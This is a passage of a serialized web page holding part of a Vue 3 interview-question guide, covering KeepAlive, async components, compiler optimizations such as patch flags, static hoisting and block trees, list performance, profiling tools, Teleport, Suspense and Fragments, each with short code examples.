\u003C/KeepAlive>\n\u003C/template>\n",[18,17481,17482,17490,17515,17531,17539],{"__ignoreMap":128},[132,17483,17484,17486,17488],{"class":134,"line":135},[132,17485,139],{"class":138},[132,17487,143],{"class":142},[132,17489,146],{"class":138},[132,17491,17492,17494,17497,17500,17502,17505,17508,17510,17513],{"class":134,"line":149},[132,17493,152],{"class":138},[132,17495,17496],{"class":142},"KeepAlive",[132,17498,17499],{"class":158}," :include",[132,17501,162],{"class":138},[132,17503,17504],{"class":165},"\"['UserForm', 'Settings']\"",[132,17506,17507],{"class":158}," :max",[132,17509,162],{"class":138},[132,17511,17512],{"class":165},"\"10\"",[132,17514,146],{"class":138},[132,17516,17517,17519,17521,17524,17526,17529],{"class":134,"line":176},[132,17518,1489],{"class":138},[132,17520,1039],{"class":142},[132,17522,17523],{"class":158}," :is",[132,17525,162],{"class":138},[132,17527,17528],{"class":165},"\"activeTab\"",[132,17530,1287],{"class":138},[132,17532,17533,17535,17537],{"class":134,"line":186},[132,17534,1528],{"class":138},[132,17536,17496],{"class":142},[132,17538,146],{"class":138},[132,17540,17541,17543,17545],{"class":134,"line":193},[132,17542,179],{"class":138},[132,17544,143],{"class":142},[132,17546,146],{"class":138},[11,17548,17549,4319,17552,17555,17556,17559,17560,592,17562,17564,17565,4319,17567,17569],{},[18,17550,17551],{},"include",[18,17553,17554],{},"exclude"," control which components get cached by name, and ",[18,17557,17558],{},"max"," bounds the cache size with an LRU eviction policy. Cached components gain ",[18,17561,11217],{},[18,17563,11223],{}," lifecycle hooks instead of ",[18,17566,11145],{},[18,17568,11204],{}," on every switch.",[34,17571,17573,17574,1349],{"id":17572},"_123-how-do-you-lazy-load-a-component-with-defineasynccomponent","123. How do you lazy load a component with ",[18,17575,17576],{},"defineAsyncComponent",[11,17578,17579,17581,17582,17584],{},[18,17580,17576],{}," wraps a function that returns a dynamic ",[18,17583,14397],{},", so the component's code is only fetched and evaluated when it's actually needed, instead of being bundled into the initial page load. Vue renders a placeholder (nothing, by default) until the import resolves, then swaps in the real component.",[123,17586,17588],{"className":388,"code":17587,"language":390,"meta":128,"style":128},"import { defineAsyncComponent } from 'vue'\n\nconst AdminPanel = defineAsyncComponent(() => import('./AdminPanel.vue'))\n",[18,17589,17590,17601,17605],{"__ignoreMap":128},[132,17591,17592,17594,17597,17599],{"class":134,"line":135},[132,17593,210],{"class":209},[132,17595,17596],{"class":138}," { defineAsyncComponent } ",[132,17598,216],{"class":209},[132,17600,219],{"class":165},[132,17602,17603],{"class":134,"line":149},[132,17604,190],{"emptyLinePlaceholder":189},[132,17606,17607,17609,17612,17614,17617,17619,17621,17623,17625,17628],{"class":134,"line":176},[132,17608,230],{"class":209},[132,17610,17611],{"class":233}," AdminPanel",[132,17613,237],{"class":209},[132,17615,17616],{"class":158}," defineAsyncComponent",[132,17618,2659],{"class":138},[132,17620,2662],{"class":209},[132,17622,14437],{"class":209},[132,17624,243],{"class":138},[132,17626,17627],{"class":165},"'./AdminPanel.vue'",[132,17629,15413],{"class":138},[11,17631,17632],{},"For more control you pass an options object instead of a bare function:",[123,17634,17636],{"className":388,"code":17635,"language":390,"meta":128,"style":128},"const AdminPanel = defineAsyncComponent({\n    loader: () => import('./AdminPanel.vue'),\n    loadingComponent: LoadingSpinner,\n    errorComponent: LoadError,\n    delay: 200,\n    timeout: 5000,\n})\n",[18,17637,17638,17650,17668,17673,17678,17688,17698],{"__ignoreMap":128},[132,17639,17640,17642,17644,17646,17648],{"class":134,"line":135},[132,17641,230],{"class":209},[132,17643,17611],{"class":233},[132,17645,237],{"class":209},[132,17647,17616],{"class":158},[132,17649,4542],{"class":138},[132,17651,17652,17655,17657,17659,17661,17663,17665],{"class":134,"line":149},[132,17653,17654],{"class":158},"    loader",[132,17656,7020],{"class":138},[132,17658,2662],{"class":209},[132,17660,14437],{"class":209},[132,17662,243],{"class":138},[132,17664,17627],{"class":165},[132,17666,17667],{"class":138},"),\n",[132,17669,17670],{"class":134,"line":176},[132,17671,17672],{"class":138},"    loadingComponent: LoadingSpinner,\n",[132,17674,17675],{"class":134,"line":186},[132,17676,17677],{"class":138},"    errorComponent: LoadError,\n",[132,17679,17680,17683,17686],{"class":134,"line":193},[132,17681,17682],{"class":138},"    delay: ",[132,17684,17685],{"class":233},"200",[132,17687,2377],{"class":138},[132,17689,17690,17693,17696],{"class":134,"line":206},[132,17691,17692],{"class":138},"    timeout: ",[132,17694,17695],{"class":233},"5000",[132,17697,2377],{"class":138},[132,17699,17700],{"class":134,"line":222},[132,17701,3156],{"class":138},[11,17703,17704,17707,17708,17711],{},[18,17705,17706],{},"delay"," avoids flashing a spinner for fast loads, and ",[18,17709,17710],{},"timeout"," falls back to the error component if the chunk takes too long. This pairs naturally with route-level code splitting, where each route's component is its own async component so users only download the JavaScript for the page they visit.",[34,17713,17715],{"id":17714},"_124-what-are-patch-flags-and-how-do-they-let-vue-3-skip-unnecessary-diff-work","124. What are patch flags, and how do they let Vue 3 skip unnecessary diff work?",[11,17717,17718,17719,581,17722,581,17725,581,17728,17731,17732,17735,17736,581,17739,17742],{},"Patch flags are numeric hints that the Vue 3 compiler attaches to a vnode at compile time, describing exactly what kind of dynamic content that vnode contains, such as ",[18,17720,17721],{},"TEXT",[18,17723,17724],{},"CLASS",[18,17726,17727],{},"STYLE",[18,17729,17730],{},"PROPS",", or ",[18,17733,17734],{},"FULL_PROPS",". The compiler can figure this out because it statically analyzes the template and knows which bindings are dynamic (",[18,17737,17738],{},"{{ msg }}",[18,17740,17741],{},":class=\"foo\"",") and which parts are plain static markup.",[11,17744,17745,17746,17748],{},"At render time, the patch function checks a vnode's flag instead of blindly comparing every attribute, child, and prop against the previous vnode. If a vnode is flagged ",[18,17747,17721],{},", Vue knows only the text content can differ and updates just that, skipping class, style, and prop comparisons entirely. A vnode with no dynamic bindings at all gets no patch flag and is skipped from diffing completely.",[11,17750,17751],{},"This is the core reason Vue 3's compiled templates outperform a naive virtual DOM diff: the compiler does the analysis once, ahead of time, so the runtime doesn't have to rediscover \"what changed\" by brute-force comparison on every render.",[34,17753,17755],{"id":17754},"_125-what-is-static-hoisting-in-the-vue-3-compiler","125. What is static hoisting in the Vue 3 compiler?",[11,17757,17758],{},"Static hoisting is a compiler optimization where vnodes that contain no dynamic bindings are created once, outside of the render function, and then reused on every subsequent render instead of being recreated each time.",[11,17760,17761,17762,17764],{},"In a naive virtual DOM implementation, the entire render function runs on every update, including the code that creates vnodes for markup that never changes, like a static heading or a hardcoded icon. Since the Vue 3 compiler can see at compile time that a piece of template has no ",[18,17763,1103],{}," interpolations, directives, or bindings, it \"hoists\" that vnode creation out of the render function so it only runs once, and the render function just references the same cached vnode object on every call.",[123,17766,17768],{"className":125,"code":17767,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cdiv>\n        \u003Ch1>Static Title\u003C/h1>\n        \u003Cp>{{ dynamicMessage }}\u003C/p>\n    \u003C/div>\n\u003C/template>\n",[18,17769,17770,17778,17786,17799,17812,17820],{"__ignoreMap":128},[132,17771,17772,17774,17776],{"class":134,"line":135},[132,17773,139],{"class":138},[132,17775,143],{"class":142},[132,17777,146],{"class":138},[132,17779,17780,17782,17784],{"class":134,"line":149},[132,17781,152],{"class":138},[132,17783,1385],{"class":142},[132,17785,146],{"class":138},[132,17787,17788,17790,17792,17795,17797],{"class":134,"line":176},[132,17789,1489],{"class":138},[132,17791,2850],{"class":142},[132,17793,17794],{"class":138},">Static Title\u003C/",[132,17796,2850],{"class":142},[132,17798,146],{"class":138},[132,17800,17801,17803,17805,17808,17810],{"class":134,"line":186},[132,17802,1489],{"class":138},[132,17804,11],{"class":142},[132,17806,17807],{"class":138},">{{ dynamicMessage }}\u003C/",[132,17809,11],{"class":142},[132,17811,146],{"class":138},[132,17813,17814,17816,17818],{"class":134,"line":193},[132,17815,1528],{"class":138},[132,17817,1385],{"class":142},[132,17819,146],{"class":138},[132,17821,17822,17824,17826],{"class":134,"line":206},[132,17823,179],{"class":138},[132,17825,143],{"class":142},[132,17827,146],{"class":138},[11,17829,5687,17830,17833,17834,17837],{},[18,17831,17832],{},"\u003Ch1>Static Title\u003C/h1>"," gets hoisted; only the ",[18,17835,17836],{},"\u003Cp>"," vnode is recreated on re-renders. The benefit is fewer object allocations and less garbage collection pressure on every render pass, which adds up in components that re-render frequently.",[34,17839,17841],{"id":17840},"_126-what-is-the-block-tree-optimization-in-the-vue-3-compiler","126. What is the \"block tree\" optimization in the Vue 3 compiler?",[11,17843,17844,17845,17848,17849,17851],{},"A \"block\" is a vnode that also tracks all of its dynamic descendant vnodes in a flat array called ",[18,17846,17847],{},"dynamicChildren",", gathered at compile time. Instead of the runtime having to walk the entire tree recursively to find what changed, Vue can jump straight to the ",[18,17850,17847],{}," array of a block and only diff those specific nodes, skipping every static node in between automatically.",[11,17853,17854,17855,592,17857,17859,17860,17862,17863,17865],{},"Templates compile into a tree of nested blocks, forming the \"block tree.\" The root template is a block, and structural directives like ",[18,17856,1345],{},[18,17858,1454],{}," create their own nested blocks, because the set of dynamic children they produce can change shape between renders (a ",[18,17861,1454],{}," might add or remove items, a ",[18,17864,1345],{}," branch might swap out entirely). Keeping these as separate blocks means the parent block's flat diff doesn't get confused by children whose structure isn't stable.",[11,17867,17868],{},"The combination of patch flags (what changed) and the block tree (where to look) is what lets Vue 3 turn a full tree diff into something closer to \"diff a flat list of known-dynamic nodes,\" which scales much better as templates grow larger.",[34,17870,17872],{"id":17871},"_127-how-do-you-avoid-performance-problems-when-rendering-large-lists","127. How do you avoid performance problems when rendering large lists?",[11,17874,17875],{},"A few practices matter most:",[56,17877,17878,17887,17901,17906,17912,17920],{},[59,17879,17880,17881,17883,17884,17886],{},"Always give ",[18,17882,1454],{}," a stable, unique ",[18,17885,1458],{}," (an id from your data), never the array index for lists that can reorder, insert, or delete, since index keys cause Vue to misattribute state to the wrong DOM node during diffing.",[59,17888,17889,17890,592,17892,17894,17895,17897,17898,17900],{},"Never combine ",[18,17891,1345],{},[18,17893,1454],{}," on the same element; Vue 3 will warn/error since ",[18,17896,1345],{}," has higher precedence, and evaluating a condition per item is wasteful anyway. Filter the list with a ",[18,17899,629],{}," property first.",[59,17902,4110,17903,17905],{},[18,17904,629],{}," properties for any derived/filtered/sorted view of the list so the work is cached and only reruns when the source data changes, not on every render.",[59,17907,17908,17909,17911],{},"Reach for ",[18,17910,17348],{}," on expensive rows only when the default diffing is a measured bottleneck.",[59,17913,17914,17915,1334,17917,17919],{},"For very large datasets that don't need per-item reactivity, use ",[18,17916,4318],{},[18,17918,4550],{}," to avoid Vue making every nested object deeply reactive, which has real overhead at scale.",[59,17921,17922],{},"Beyond a few hundred rows, consider virtual scrolling instead of rendering the full list at once.",[34,17924,17926],{"id":17925},"_128-what-is-virtual-scrolling-and-when-would-you-need-it","128. What is virtual scrolling, and when would you need it?",[11,17928,17929],{},"Virtual scrolling (or \"windowing\") is a technique where only the list items currently visible in the viewport, plus a small buffer, are actually rendered as real DOM nodes. As the user scrolls, nodes are recycled and repositioned to represent whatever data has scrolled into view, rather than the browser holding thousands of live DOM nodes for the entire dataset.",[11,17931,17932],{},"You need it once a list gets large enough that rendering every item up front becomes the bottleneck, commonly somewhere in the hundreds to thousands of rows. The cost isn't really about Vue's diffing at that point, it's that the browser itself struggles with layout, paint, and memory for that many real DOM nodes, and Vue's reactivity has to track and patch all of them too.",[11,17934,17935,17936,1334,17939,17942],{},"In practice you don't hand-roll this; libraries like ",[18,17937,17938],{},"vue-virtual-scroller",[18,17940,17941],{},"@tanstack/vue-virtual"," calculate which slice of the list is visible based on scroll offset and item height, and render only that slice, keeping the DOM node count roughly constant regardless of how many total items exist.",[34,17944,17946],{"id":17945},"_129-how-do-computed-properties-help-performance-compared-to-calling-a-method-directly-in-a-template","129. How do computed properties help performance compared to calling a method directly in a template?",[11,17948,17949,17950,17952],{},"As covered in the computed caching question above, a ",[18,17951,629],{}," property only recomputes when one of its reactive dependencies changes, while a method called from a template reruns on every single re-render of that component, whether or not its inputs actually changed. The performance angle is what that caching buys you in practice, once the derived value is expensive.",[123,17954,17956],{"className":125,"code":17955,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { ref, computed } from 'vue'\n\nconst items = ref([/* large array */])\n\n// recalculates only when items.value changes\nconst sortedItems = computed(() => {\n    return [...items.value].sort((a, b) => a.price - b.price)\n})\n\n// reruns this sort on every re-render, regardless of cause\nfunction sortedItemsMethod() {\n    return [...items.value].sort((a, b) => a.price - b.price)\n}\n\u003C/script>\n",[18,17957,17958,17968,17978,17982,17999,18003,18008,18025,18062,18066,18070,18075,18084,18114,18118],{"__ignoreMap":128},[132,17959,17960,17962,17964,17966],{"class":134,"line":135},[132,17961,139],{"class":138},[132,17963,198],{"class":142},[132,17965,201],{"class":158},[132,17967,146],{"class":138},[132,17969,17970,17972,17974,17976],{"class":134,"line":149},[132,17971,210],{"class":209},[132,17973,5527],{"class":138},[132,17975,216],{"class":209},[132,17977,219],{"class":165},[132,17979,17980],{"class":134,"line":176},[132,17981,190],{"emptyLinePlaceholder":189},[132,17983,17984,17986,17988,17990,17992,17994,17997],{"class":134,"line":186},[132,17985,230],{"class":209},[132,17987,1606],{"class":233},[132,17989,237],{"class":209},[132,17991,240],{"class":158},[132,17993,3622],{"class":138},[132,17995,17996],{"class":397},"/* large array */",[132,17998,3636],{"class":138},[132,18000,18001],{"class":134,"line":193},[132,18002,190],{"emptyLinePlaceholder":189},[132,18004,18005],{"class":134,"line":206},[132,18006,18007],{"class":397},"// recalculates only when items.value changes\n",[132,18009,18010,18012,18015,18017,18019,18021,18023],{"class":134,"line":222},[132,18011,230],{"class":209},[132,18013,18014],{"class":233}," sortedItems",[132,18016,237],{"class":209},[132,18018,2656],{"class":158},[132,18020,2659],{"class":138},[132,18022,2662],{"class":209},[132,18024,316],{"class":138},[132,18026,18027,18029,18031,18034,18037,18040,18042,18044,18046,18049,18051,18053,18056,18059],{"class":134,"line":227},[132,18028,706],{"class":209},[132,18030,5849],{"class":138},[132,18032,18033],{"class":209},"...",[132,18035,18036],{"class":138},"items.value].",[132,18038,18039],{"class":158},"sort",[132,18041,6351],{"class":138},[132,18043,23],{"class":697},[132,18045,581],{"class":138},[132,18047,18048],{"class":697},"b",[132,18050,5284],{"class":138},[132,18052,2662],{"class":209},[132,18054,18055],{"class":138}," a.price ",[132,18057,18058],{"class":209},"-",[132,18060,18061],{"class":138}," b.price)\n",[132,18063,18064],{"class":134,"line":252},[132,18065,3156],{"class":138},[132,18067,18068],{"class":134,"line":257},[132,18069,190],{"emptyLinePlaceholder":189},[132,18071,18072],{"class":134,"line":269},[132,18073,18074],{"class":397},"// reruns this sort on every re-render, regardless of cause\n",[132,18076,18077,18079,18082],{"class":134,"line":278},[132,18078,260],{"class":209},[132,18080,18081],{"class":158}," sortedItemsMethod",[132,18083,266],{"class":138},[132,18085,18086,18088,18090,18092,18094,18096,18098,18100,18102,18104,18106,18108,18110,18112],{"class":134,"line":284},[132,18087,706],{"class":209},[132,18089,5849],{"class":138},[132,18091,18033],{"class":209},[132,18093,18036],{"class":138},[132,18095,18039],{"class":158},[132,18097,6351],{"class":138},[132,18099,23],{"class":697},[132,18101,581],{"class":138},[132,18103,18048],{"class":697},[132,18105,5284],{"class":138},[132,18107,2662],{"class":209},[132,18109,18055],{"class":138},[132,18111,18058],{"class":209},[132,18113,18061],{"class":138},[132,18115,18116],{"class":134,"line":293},[132,18117,281],{"class":138},[132,18119,18120,18122,18124],{"class":134,"line":298},[132,18121,179],{"class":138},[132,18123,198],{"class":142},[132,18125,146],{"class":138},[11,18127,18128,18129,18132,18133,18136,18137,385],{},"If this component re-renders for an unrelated reason (a sibling prop changing, a parent re-rendering it), ",[18,18130,18131],{},"sortedItemsMethod()"," redoes the full sort every time, while ",[18,18134,18135],{},"sortedItems"," just returns the cached array. For cheap operations this difference is invisible, but for expensive derived data (sorting, filtering, aggregating large arrays) it can be the difference between a snappy UI and visible jank. The rule of thumb: if a template expression is derived purely from reactive state and doesn't need arguments, make it a ",[18,18138,629],{},[34,18140,18142],{"id":18141},"_130-what-tools-would-you-use-to-profile-and-debug-performance-problems-in-a-vue-application","130. What tools would you use to profile and debug performance problems in a Vue application?",[11,18144,18145],{},"Vue Devtools is the first stop: its component inspector shows re-render counts and highlights which components updated on a given tick, and its performance tab can visualize component init, render, and patch timings, which quickly points to a component that's re-rendering far more often than expected.",[11,18147,18148],{},"For deeper timing analysis, the browser's own Performance panel (Chrome DevTools) records a flame graph of actual JavaScript execution and layout/paint work, letting you see whether time is going into Vue's render function, into a specific expensive computed/method, or into layout thrashing from DOM changes.",[11,18150,18151],{},"Vue also exposes debug hooks for tracking exactly why a component re-rendered:",[123,18153,18155],{"className":125,"code":18154,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { onRenderTracked, onRenderTriggered } from 'vue'\n\nonRenderTracked((event) => {\n    console.log('dependency tracked', event)\n})\nonRenderTriggered((event) => {\n    console.log('re-render triggered by', event)\n})\n\u003C/script>\n",[18,18156,18157,18167,18178,18182,18197,18211,18215,18230,18243,18247],{"__ignoreMap":128},[132,18158,18159,18161,18163,18165],{"class":134,"line":135},[132,18160,139],{"class":138},[132,18162,198],{"class":142},[132,18164,201],{"class":158},[132,18166,146],{"class":138},[132,18168,18169,18171,18174,18176],{"class":134,"line":149},[132,18170,210],{"class":209},[132,18172,18173],{"class":138}," { onRenderTracked, onRenderTriggered } ",[132,18175,216],{"class":209},[132,18177,219],{"class":165},[132,18179,18180],{"class":134,"line":176},[132,18181,190],{"emptyLinePlaceholder":189},[132,18183,18184,18187,18189,18191,18193,18195],{"class":134,"line":186},[132,18185,18186],{"class":158},"onRenderTracked",[132,18188,6351],{"class":138},[132,18190,12754],{"class":697},[132,18192,5284],{"class":138},[132,18194,2662],{"class":209},[132,18196,316],{"class":138},[132,18198,18199,18201,18203,18205,18208],{"class":134,"line":193},[132,18200,3140],{"class":138},[132,18202,3143],{"class":158},[132,18204,243],{"class":138},[132,18206,18207],{"class":165},"'dependency tracked'",[132,18209,18210],{"class":138},", event)\n",[132,18212,18213],{"class":134,"line":206},[132,18214,3156],{"class":138},[132,18216,18217,18220,18222,18224,18226,18228],{"class":134,"line":222},[132,18218,18219],{"class":158},"onRenderTriggered",[132,18221,6351],{"class":138},[132,18223,12754],{"class":697},[132,18225,5284],{"class":138},[132,18227,2662],{"class":209},[132,18229,316],{"class":138},[132,18231,18232,18234,18236,18238,18241],{"class":134,"line":227},[132,18233,3140],{"class":138},[132,18235,3143],{"class":158},[132,18237,243],{"class":138},[132,18239,18240],{"class":165},"'re-render triggered by'",[132,18242,18210],{"class":138},[132,18244,18245],{"class":134,"line":252},[132,18246,3156],{"class":138},[132,18248,18249,18251,18253],{"class":134,"line":257},[132,18250,179],{"class":138},[132,18252,198],{"class":142},[132,18254,146],{"class":138},[11,18256,18257,18258,18261],{},"You can also set ",[18,18259,18260],{},"app.config.performance = true"," in development to have Vue emit performance marks/measures for component init, compile, render, and patch, which then show up in the browser's Performance timeline. For overall page-level metrics (not Vue-specific but relevant when Vue hydration/rendering is the bottleneck), Lighthouse and the Web Vitals extension round out the toolkit.",[29,18263,18265],{"id":18264},"vue-3-specific-features","Vue 3 Specific Features",[34,18267,18269,18270,10034],{"id":18268},"_131-what-is-teleport-and-what-problem-does-it-solve","131. What is ",[18,18271,18272],{},"Teleport",[11,18274,18275,18277],{},[18,18276,18272],{}," is a built-in component that lets you render part of a component's template into a different location in the DOM, anywhere outside the component's own hierarchy, while the content stays logically part of that component (same instance, same props, same events, same reactive scope).",[11,18279,18280,18281,1334,18284,18287,18288,18290],{},"The problem it solves: things like modals, tooltips, and dropdown menus need to be positioned relative to the whole viewport and need to sit outside any parent's ",[18,18282,18283],{},"overflow: hidden",[18,18285,18286],{},"z-index"," stacking context to display correctly, but they're conceptually owned by a deeply nested component and need access to that component's local state. Before ",[18,18289,18272],{},", you'd either fight CSS stacking issues or manually manage DOM manipulation outside of Vue's control.",[123,18292,18294],{"className":125,"code":18293,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cbutton @click=\"open = true\">Open Modal\u003C/button>\n    \u003CTeleport to=\"body\">\n        \u003Cdiv v-if=\"open\" class=\"modal\">\n            \u003Cp>Modal content, rendered at the end of body\u003C/p>\n            \u003Cbutton @click=\"open = false\">Close\u003C/button>\n        \u003C/div>\n    \u003C/Teleport>\n\u003C/template>\n",[18,18295,18296,18304,18324,18339,18361,18374,18394,18402,18410],{"__ignoreMap":128},[132,18297,18298,18300,18302],{"class":134,"line":135},[132,18299,139],{"class":138},[132,18301,143],{"class":142},[132,18303,146],{"class":138},[132,18305,18306,18308,18310,18312,18314,18317,18320,18322],{"class":134,"line":149},[132,18307,152],{"class":138},[132,18309,155],{"class":142},[132,18311,159],{"class":158},[132,18313,162],{"class":138},[132,18315,18316],{"class":165},"\"open = true\"",[132,18318,18319],{"class":138},">Open Modal\u003C/",[132,18321,155],{"class":142},[132,18323,146],{"class":138},[132,18325,18326,18328,18330,18332,18334,18337],{"class":134,"line":176},[132,18327,152],{"class":138},[132,18329,18272],{"class":142},[132,18331,14707],{"class":158},[132,18333,162],{"class":138},[132,18335,18336],{"class":165},"\"body\"",[132,18338,146],{"class":138},[132,18340,18341,18343,18345,18347,18349,18352,18354,18356,18359],{"class":134,"line":186},[132,18342,1489],{"class":138},[132,18344,1385],{"class":142},[132,18346,1388],{"class":158},[132,18348,162],{"class":138},[132,18350,18351],{"class":165},"\"open\"",[132,18353,8169],{"class":158},[132,18355,162],{"class":138},[132,18357,18358],{"class":165},"\"modal\"",[132,18360,146],{"class":138},[132,18362,18363,18365,18367,18370,18372],{"class":134,"line":193},[132,18364,9376],{"class":138},[132,18366,11],{"class":142},[132,18368,18369],{"class":138},">Modal content, rendered at the end of body\u003C/",[132,18371,11],{"class":142},[132,18373,146],{"class":138},[132,18375,18376,18378,18380,18382,18384,18387,18390,18392],{"class":134,"line":206},[132,18377,9376],{"class":138},[132,18379,155],{"class":142},[132,18381,159],{"class":158},[132,18383,162],{"class":138},[132,18385,18386],{"class":165},"\"open = false\"",[132,18388,18389],{"class":138},">Close\u003C/",[132,18391,155],{"class":142},[132,18393,146],{"class":138},[132,18395,18396,18398,18400],{"class":134,"line":222},[132,18397,1519],{"class":138},[132,18399,1385],{"class":142},[132,18401,146],{"class":138},[132,18403,18404,18406,18408],{"class":134,"line":227},[132,18405,1528],{"class":138},[132,18407,18272],{"class":142},[132,18409,146],{"class":138},[132,18411,18412,18414,18416],{"class":134,"line":252},[132,18413,179],{"class":138},[132,18415,143],{"class":142},[132,18417,146],{"class":138},[11,18419,18420,18421,18424,18425,18428],{},"The modal's markup physically lives at the end of ",[18,18422,18423],{},"\u003Cbody>"," in the actual DOM, avoiding any ancestor's clipping or stacking issues, but ",[18,18426,18427],{},"open"," and the click handlers still belong to this component exactly as if it weren't teleported.",[34,18430,18432,18433,18436,18437,18439],{"id":18431},"_132-what-is-suspense-and-how-do-you-use-it-with-an-async-setup-or-async-component","132. What is ",[18,18434,18435],{},"Suspense",", and how do you use it with an async ",[18,18438,968],{}," or async component?",[11,18441,18442,18444],{},[18,18443,18435],{}," is a built-in component that lets you show fallback content while one or more async dependencies in its child tree are still resolving, then automatically swaps to the real content once everything is ready. It's Vue's way of handling \"this part of the tree needs to wait for a promise\" declaratively, instead of manually tracking loading flags in every component.",[11,18446,18447,18448,18450,18451,18453,18454,18456,18457,18459],{},"A component becomes an async dependency either by using ",[18,18449,17576],{},", or by having a ",[18,18452,20],{}," with a top-level ",[18,18455,11849],{},", which implicitly makes that component's ",[18,18458,968],{}," async.",[123,18461,18463],{"className":125,"code":18462,"language":127,"meta":128,"style":128},"\u003C!-- UserProfile.vue -->\n\u003Cscript setup>\nconst res = await fetch('/api/user')\nconst user = await res.json()\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cp>{{ user.name }}\u003C/p>\n\u003C/template>\n",[18,18464,18465,18470,18480,18501,18517,18525,18529,18537,18550],{"__ignoreMap":128},[132,18466,18467],{"class":134,"line":135},[132,18468,18469],{"class":397},"\u003C!-- UserProfile.vue -->\n",[132,18471,18472,18474,18476,18478],{"class":134,"line":149},[132,18473,139],{"class":138},[132,18475,198],{"class":142},[132,18477,201],{"class":158},[132,18479,146],{"class":138},[132,18481,18482,18484,18487,18489,18491,18494,18496,18499],{"class":134,"line":176},[132,18483,230],{"class":209},[132,18485,18486],{"class":233}," res",[132,18488,237],{"class":209},[132,18490,15127],{"class":209},[132,18492,18493],{"class":158}," fetch",[132,18495,243],{"class":138},[132,18497,18498],{"class":165},"'/api/user'",[132,18500,249],{"class":138},[132,18502,18503,18505,18507,18509,18511,18513,18515],{"class":134,"line":186},[132,18504,230],{"class":209},[132,18506,6182],{"class":233},[132,18508,237],{"class":209},[132,18510,15127],{"class":209},[132,18512,6421],{"class":138},[132,18514,6424],{"class":158},[132,18516,4951],{"class":138},[132,18518,18519,18521,18523],{"class":134,"line":193},[132,18520,179],{"class":138},[132,18522,198],{"class":142},[132,18524,146],{"class":138},[132,18526,18527],{"class":134,"line":206},[132,18528,190],{"emptyLinePlaceholder":189},[132,18530,18531,18533,18535],{"class":134,"line":222},[132,18532,139],{"class":138},[132,18534,143],{"class":142},[132,18536,146],{"class":138},[132,18538,18539,18541,18543,18546,18548],{"class":134,"line":227},[132,18540,152],{"class":138},[132,18542,11],{"class":142},[132,18544,18545],{"class":138},">{{ user.name }}\u003C/",[132,18547,11],{"class":142},[132,18549,146],{"class":138},[132,18551,18552,18554,18556],{"class":134,"line":252},[132,18553,179],{"class":138},[132,18555,143],{"class":142},[132,18557,146],{"class":138},[123,18559,18561],{"className":125,"code":18560,"language":127,"meta":128,"style":128},"\u003C!-- Parent.vue -->\n\u003Ctemplate>\n    \u003CSuspense>\n        \u003Ctemplate #default>\n            \u003CUserProfile />\n        \u003C/template>\n        \u003Ctemplate #fallback>\n            \u003Cp>Loading user...\u003C/p>\n        \u003C/template>\n    \u003C/Suspense>\n\u003C/template>\n",[18,18562,18563,18567,18575,18583,18596,18605,18613,18626,18639,18647,18655],{"__ignoreMap":128},[132,18564,18565],{"class":134,"line":135},[132,18566,8475],{"class":397},[132,18568,18569,18571,18573],{"class":134,"line":149},[132,18570,139],{"class":138},[132,18572,143],{"class":142},[132,18574,146],{"class":138},[132,18576,18577,18579,18581],{"class":134,"line":176},[132,18578,152],{"class":138},[132,18580,18435],{"class":142},[132,18582,146],{"class":138},[132,18584,18585,18587,18589,18591,18594],{"class":134,"line":186},[132,18586,1489],{"class":138},[132,18588,143],{"class":142},[132,18590,9744],{"class":138},[132,18592,18593],{"class":158},"default",[132,18595,146],{"class":138},[132,18597,18598,18600,18603],{"class":134,"line":193},[132,18599,9376],{"class":138},[132,18601,18602],{"class":142},"UserProfile",[132,18604,1287],{"class":138},[132,18606,18607,18609,18611],{"class":134,"line":206},[132,18608,1519],{"class":138},[132,18610,143],{"class":142},[132,18612,146],{"class":138},[132,18614,18615,18617,18619,18621,18624],{"class":134,"line":222},[132,18616,1489],{"class":138},[132,18618,143],{"class":142},[132,18620,9744],{"class":138},[132,18622,18623],{"class":158},"fallback",[132,18625,146],{"class":138},[132,18627,18628,18630,18632,18635,18637],{"class":134,"line":227},[132,18629,9376],{"class":138},[132,18631,11],{"class":142},[132,18633,18634],{"class":138},">Loading user...\u003C/",[132,18636,11],{"class":142},[132,18638,146],{"class":138},[132,18640,18641,18643,18645],{"class":134,"line":252},[132,18642,1519],{"class":138},[132,18644,143],{"class":142},[132,18646,146],{"class":138},[132,18648,18649,18651,18653],{"class":134,"line":257},[132,18650,1528],{"class":138},[132,18652,18435],{"class":142},[132,18654,146],{"class":138},[132,18656,18657,18659,18661],{"class":134,"line":269},[132,18658,179],{"class":138},[132,18660,143],{"class":142},[132,18662,146],{"class":138},[11,18664,18665,18667,18668,18670,18671,18674,18675,18678,18679,18681],{},[18,18666,18435],{}," waits for ",[18,18669,18602],{},"'s async setup to resolve before rendering the ",[18,18672,18673],{},"#default"," slot content, showing ",[18,18676,18677],{},"#fallback"," in the meantime. It's worth noting Vue's own docs still label ",[18,18680,18435],{}," an experimental feature, its API could change in a future minor version, so it's common in interviews but worth using cautiously in production apps that need long-term stability guarantees.",[34,18683,18685],{"id":18684},"_133-what-are-fragments-and-how-did-they-remove-the-single-root-node-restriction-from-vue-2","133. What are Fragments, and how did they remove the \"single root node\" restriction from Vue 2?",[11,18687,18688,18689,18691],{},"A Fragment is Vue's internal representation of a component template that has more than one root-level element. In Vue 2, every component template had to be wrapped in a single root element, because Vue 2's virtual DOM model tied one component to exactly one root vnode; if you needed multiple top-level elements you had to add an artificial wrapper ",[18,18690,8232],{}," just to satisfy the compiler.",[11,18693,18694],{},"Vue 3's virtual DOM and compiler support a component returning an array of vnodes as its root, internally treated as a Fragment. This means a template can look like this without any wrapping element:",[123,18696,18698],{"className":125,"code":18697,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cheader>Title\u003C/header>\n    \u003Cmain>Content\u003C/main>\n    